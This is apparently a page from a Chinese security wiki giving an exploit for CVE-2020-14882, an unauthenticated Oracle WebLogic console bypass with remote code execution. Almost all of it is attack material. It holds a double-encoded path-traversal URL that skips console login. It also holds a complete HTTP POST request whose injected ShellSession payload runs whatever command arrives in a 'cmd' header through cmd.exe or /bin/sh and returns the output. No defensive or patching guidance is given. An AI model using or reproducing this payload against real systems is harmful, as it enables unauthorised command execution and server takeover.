menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 134-WebLogic chevron_right 020-CVE-2020-14882 Weblogic 未授权绕过RCE.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    020-CVE-2020-14882 Weblogic 未授权绕过RCE.md
    2.1 KB / 2021-07-17 00:01:30
        # CVE-2020-14882 Weblogic 未授权绕过RCE
    
    **GET:**
    
    bypass 访问控制台
    
    ```bash
    console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
    ```
    
    **RCE:**
    
    ```bash
    POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
    Host: 172.16.242.134:7001
    cmd: chcp 65001&&whoami&&ipconfig
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 1258
    
    _nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
    weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
    java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
    field.setAccessible(true);
    Object obj = field.get(adapter);
    weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
    String cmd = req.getHeader("cmd");
    String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
    if (cmd != null) {
        String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
        weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
        res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
        res.getServletOutputStream().flush();
        res.getWriter().write("");
    }executeThread.interrupt();
    ");
    ```
    
    详情可以参考:https://github.com/jas502n/CVE-2020-14882
    
    links
    file_download